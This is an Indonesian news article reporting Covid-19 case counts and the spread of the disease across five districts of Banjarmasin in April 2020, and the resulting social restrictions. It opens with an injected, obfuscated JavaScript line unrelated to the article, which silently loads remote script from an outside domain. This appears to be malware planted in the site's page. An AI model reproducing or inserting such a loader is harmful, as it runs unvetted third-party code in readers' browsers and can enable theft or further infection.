(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Covid-19 Sudah Tersebar di 5 Kecamatan se Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin mencatat kasus terkonfirmasi positif Covid-19 semakin hari semakin meningkat. Hingga Kamis (23/4/2020) pagi, tercatat jumlah orang dalam pemantauan (ODP) berjumlah 527 orang.

“Kemudian PDP (pasien dalam pengawasan) tercatat ada 4 orang. Yang sudah terkonfirmasi positif Covid-19 itu berjumlah 32 orang, dimana 5 orang di antaranya meninggal dunia, dan yang sembuh sebanyak 5 orang,” tutur Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin Dr Machli Riyadi kepada awak media di Balai Kota Banjarmasin, Kamis (23/4/2020) pagi.

Machli menjelaskan, keseluruhan kasus positif Covid-19 ini sudah tersebar di 5 kecamatan se Kota Banjarmasin. Diakuinya, kondisi ini cukup mengkhawatirkan karena penyebaran Covid-19 yang cukup masif.

“Semua kelurahan yang terdapat pada 5 kecamatan totalnya 32,7 persen yang sudah terpapar Covid-19,” sebut Machli.

Machli mengakui, berdasarkan hasil evaluasi, tingkat kedisiplinan masyarakat kota Banjarmasin sejak dikeluarkannya surat edaran dan imbauan yang dikeluarkan Wali Kota Banjarmasin masih belum cukup untuk memutus mata rantai penularan Covid-19. Di samping itu, ketersediaan sarana dan prasarana kesehatan seperti alat pelindung diri (APD) maupun ruang isolasi masih kurang.

“Sehingga dengan dasar inilah, pembatasan sosial berskala besar (PSBB) di Banjarmasin dilaksanakan. Tentu, tujuannya adalah memutus rantai penularan Covid-19,” pungkas mantan Wadir RSJ Sambang Lihum ini. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie